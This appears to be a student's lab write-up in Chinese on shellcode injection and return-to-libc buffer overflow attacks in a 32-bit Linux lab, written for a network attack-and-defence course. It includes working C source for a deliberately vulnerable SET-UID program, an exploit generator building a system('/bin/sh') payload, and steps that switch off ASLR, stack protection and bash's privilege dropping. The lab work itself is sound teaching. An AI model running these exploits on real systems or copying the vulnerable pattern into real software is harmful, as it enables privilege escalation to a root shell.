• 20145210姚思羽《网络对抗》——shellcode注入& Return-to-libc攻击深入


    20145210姚思羽《网络对抗》shellcode注入&Return-to-libc攻击深入

    shellcode基础知识

    Shellcode是一段代码,作为数据发送给受攻击服务器,是溢出程序和蠕虫病毒的核心,一般可以获取权限。我们将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢出,覆盖成为指向 shellcode的地址。

    shellcode注入实践

    1.获取shellcode的C语言代码

    2.编译运行

    3.设置并查询文件的堆栈是否可执行。需要先安装execstack指令,安装的过程中一开始显示失败,出现unable to fetch some archives,将虚拟机的网络连接从桥接模式改为NAT模式之后就下载成功啦!

    “execstack -s ”指令为设置堆栈可执行,“execstack -q ”指令用来查询文件的堆栈是否可执行,“X”表示文件可执行

    4.查询地址随机化是否为开启状态

    (1)参数为0表示关闭进程地址空间随机化。

    (2)参数为1表示将mmap的基址,stack和vdso页面随机化。

    (3)参数为2表示在1的基础上增加栈(heap)的随机化。

    5.构造要注入的payload
    (1)Linux下有两种基本构造攻击buf的方法:

    ①retaddr+nop+shellcode //retaddr在缓冲区的位置是固定的,缓冲区比较小的时候shellcode放retaddr后面
    
    ②nop+shellcode+retaddr //缓冲区比较大的时候hsellcode放retaddr前面
    

    (2)我们的buf够放这个shellcode,结构为:nops+shellcode+retaddr

    (3)这里的nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode

    (4)我们用x4x3x2x1覆盖到堆栈上的返回地址的位置,把它改为这段shellcode的地址

    6.打开另一个终端注入这段攻击buf。注意输入指令之后不要立即按回车,在后面的调试过程中需要继续运行的时候再回车

    7.再打开另外一个终端,查找与20145210_shellcode有关的进程,并用-ef格式显示出来,找到该进程的进程号为3150

    8.打开gdb,用attach指令对该进程进行调试

    9.对foo函数进行反汇编

    10.在ret处设置断点,查看注入buf的内存地址,来分析我们之前猜测的返回地址位置是否正确以及shellcode的地址

    图中0x01020304的位置0xffffd31c是返回地址的位置,由于结构为anything+retaddr+nops+shellcode,由此推断我们的shellcode的地址为0xffffd320

    11.将返回地址修改为0xffffd320重新注入,成功!

    Return-to-libc攻击深入

    一、基础知识

    ·缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码。也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中。但是,程序的代码段通常设置为不可写,因此攻击者需要将此攻击代码置于堆栈中。于是为了阻止此种类型的攻击,缓冲区溢出防御机制采用了非执行堆栈技术,这种技术使得堆栈上的恶意代码不可执行。

    ·为了避开这种防御机制,缓冲区溢出又出现了新的变体 return-into-libc 攻击。return-into-libc 的攻击者并不需要栈可以执行,甚至不需要注入新的代码,就可以实现攻击。return-into-libc 攻击不需要注入新的恶意代码,取而代之的是重用漏洞程序中已有的函数完成攻击,让漏洞程序跳转到已有的代码序列。攻击者在实施攻击时仍然可以用恶意代码的地址来覆盖程序函数调用的返回地址,并传递重新设定好的参数使其能够按攻击者的期望运行。这就是为什么攻击者会采用 return-into-libc 的方式,并使用程序提供的库函数。这种攻击方式在实现攻击的同时,也避开了数据执行保护策略中对攻击代码的注入和执行进行的防护。

    二、实践过程

    (一)环境配置

    1.本次实践在32位Linux下进行,设置32位linux环境

    sudo apt-get update
        
    sudo apt-get install lib32z1 libc6-dev-i386
        
    sudo apt-get install lib32readline-gplv2-dev
    

    2.环境安装好之后进入32位环境,进入bash

    3.关闭地址空间随机化。缓冲区溢出攻击的关键是猜测内存地址,地址空间随机化会使初始地址随机产生,不利于我们对内存地址的猜测,因此在本实践中我们将此功能关闭。

    4.设置zsh程序。/bin/bash能够通过使shell程序放弃自己的root权限来防范缓冲区溢出攻击及其他利用shell程序的攻击,在本实践中,我们用zsh程序替代/bin/bash程序,解除此防护措施。

    (二)实践程序

    1.本次实践一共涉及到三个程序:

    1.retlib.c //漏洞程序,我们通过控制badfile文件来产生root shell
    
    2.getenvaddr.c //漏洞程序,用于读取环境变量
    
    3.exploit.c  //攻击程序,程序里包含 BIN_SH、system、exit 的地址,我们通过修改该程序里的上述地址,结合retlib程序产生漏洞来实现攻击
    

    2.将retlib.c文件保存到/tmp目录下

        #include <stdlib.h>
        #include <stdio.h>
        #include <string.h>
        int bof(FILE *badfile)
        {
        char buffer[12];
        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 40, badfile);
        return 1;
        }
        int main(int argc, char **argv)
        {
        FILE *badfile;
        badfile = fopen("badfile", "r");
        bof(badfile);
        printf("Returned Properly
    ");
        fclose(badfile);
        return 1;
        }
    

    3.编译程序并设置SET-UID,设置su以root身份执行,运用-fno-stack-protector关闭栈保护机制


    4.保存并编译环境变量读取程序getenvaddr.c

        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>
        
        int main(int argc, char const *argv[])
        {
         char *ptr;
        
         if(argc < 3){
            printf("Usage: %s <environment var> <target program name>
    ", argv[0]);
            exit(0);
            }
         ptr = getenv(argv[1]);
         ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
         printf("%s will be at %p
    ", argv[1], ptr);
         return 0;
        }
    

    5.将攻击程序exploit.c保存到 /tmp 目录下

        #include <stdlib.h>
        #include <stdio.h>
        #include <string.h>
        int main(int argc, char **argv)
        {
         char buf[40];
         FILE *badfile;
         badfile = fopen(".//badfile", "w");
        
         strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
        
         *(long *) &buf[32] =0x11111111; // 查询BIN_SH的地址后放入
         *(long *) &buf[24] =0x22222222; // 查询system()的地址后放入
         *(long *) &buf[36] =0x33333333; // 查询exit()的地址后放入
         fwrite(buf, sizeof(buf), 1, badfile);
         fclose(badfile);
        }
    

    (三)获取内存地址

    1.获取 BIN_SH 地址。我的BIN_SH地址为0xffffde31

    2.获取system 和 exit 的地址

    我的system地址为0xf7e2eb30,exit地址为0xf7e227e0

    3.修改 exploit.c 文件中的内存地址

    4.删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c

    (四)攻击

    1.删除刚才调试编译的 exploit 程序以及 badfile 文件,重新编译修改后的 exploit.c,先运行攻击程序 exploit,再运行漏洞程序 retlib,攻击成功!

    ![]

  • 相关阅读:
    HashMap源码分析
    LinkedList源码分析
    ArrayList源码学习
    Java容器知识总结
    Collections 工具类和 Arrays 工具类常见方法
    Java基础知识
    MySQL高级之索引优化分析
    MySQL命令大全
    Java IO
    SpringCloud笔记
  • 原文地址:https://www.cnblogs.com/20145210ysy/p/6534771.html
Copyright © 2020-2023  润新知